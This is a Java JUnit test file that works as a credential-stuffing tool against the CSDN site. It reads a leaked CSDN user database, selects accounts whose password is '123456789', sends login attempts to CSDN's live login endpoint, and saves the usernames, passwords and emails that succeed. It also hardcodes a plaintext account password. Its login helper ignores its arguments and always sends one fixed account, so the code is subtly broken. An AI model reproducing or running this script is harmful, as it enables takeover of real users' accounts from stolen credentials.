package com.fpcms.common.util;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.PrintWriter;
import java.net.URL;
import java.net.URLConnection;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang.StringUtils;
import org.junit.Test;
public class NetUtilTest {
@Test
public void readCsdn() throws Exception {
BufferedReader reader = new BufferedReader(new FileReader("E:/temp/www.csdn.net.sql"),1024 * 30);
String line;
int count = 0;
PrintWriter writer = new PrintWriter(new FileWriter("e:/temp/csdn_login_success_users.txt"));
while((line = reader.readLine()) != null) {
count++;
String[] array = StringUtils.split(line,'#');
String username = StringUtils.trim(array[0]);
String password = StringUtils.trim(array[1]);
String email = StringUtils.trim(array[2]);
String loginPassword = "123456789";
if(count > 1000000 * 6 && password.equals(loginPassword) && csdnLoginBySimple(username, loginPassword)) {
String loginSuccessMsg = username+"\t"+loginPassword+"\t"+email;
System.err.println(loginSuccessMsg);
writer.println(loginSuccessMsg);
}
if(count % 10 == 0) {
writer.flush();
}
}
}
@Test
public void test() throws Exception {
URL url = new URL("https://passport.csdn.net/account/login");
URLConnection conn = url.openConnection();
conn.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 5.1; rv:14.0) Gecko/20100101 Firefox/14.0.1");
conn.setRequestProperty("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3");
conn.setRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
conn.connect();
String str = conn.getHeaderField("Set-Cookie");
System.out.println("Set-Cookie:"+str);
System.out.println(IOUtils.toString(conn.getInputStream(),conn.getContentEncoding()));
}
@Test
public void test_httpPost() throws Exception {
// NetUtil.httpPost("", parameters)
}
@Test
public void test_csdnLogin() throws Exception {
String username = "fpqqchao";
String password = "asdf@1234";
String aaa = csdnLogin(username, password);
System.out.println(aaa);
System.out.println(csdnLoginBySimple(username,password));
}
private String csdnLogin(String username, String password) {
return NetUtil.httpGet("https://passport.csdn.net/ajax/accounthandler.ashx?t=log&u="+username+"&p="+password+"&remember=0&f=http%3A%2F%2Fwww.csdn.net%2F&rand=0.9777295215841267");
// return NetUtil.httpGet("https://passport.csdn.net/ajax/accounthandler.ashx?&u=fpqqchao&p=aaaa", "remember=0&t=log&f=http://www.csdn.net&rand="+System.currentTimeMillis()+"&u="+username+"&p="+password);
}
private boolean csdnLoginBySimple(String username, String password) throws Exception {
URL url = new URL("https://passport.csdn.net/ajax/accounthandler.ashx?t=log&u=fpqqchao&p=asdf@1231&remember=0&f=http%3A%2F%2Fwww.csdn.net%2F&rand=0.13005178541239493");
URLConnection conn = url.openConnection();
conn.setRequestProperty("Accept", "*/*");
conn.setRequestProperty("Accept-Encoding", "gzip, deflate");
conn.setRequestProperty("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3");
conn.setRequestProperty("Content-Type","application/x-www-form-urlencoded");
conn.setRequestProperty("Referer", "https://passport.csdn.net/account/loginbox?callback=logined&hidethird=1&from=http%3a%2f%2fwww.csdn.net%2f");
conn.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 5.1; rv:14.0) Gecko/20100101 Firefox/14.0.1");
conn.setRequestProperty("X-Requested-With","XMLHttpRequest");
conn.connect();
String result = IOUtils.toString(conn.getInputStream(),conn.getContentEncoding());
System.out.println("csdn login:"+username+" pwd:"+password+": result:"+result);
if(result.contains("用户名或密码错误")) {
return false;
}
return true;
}
}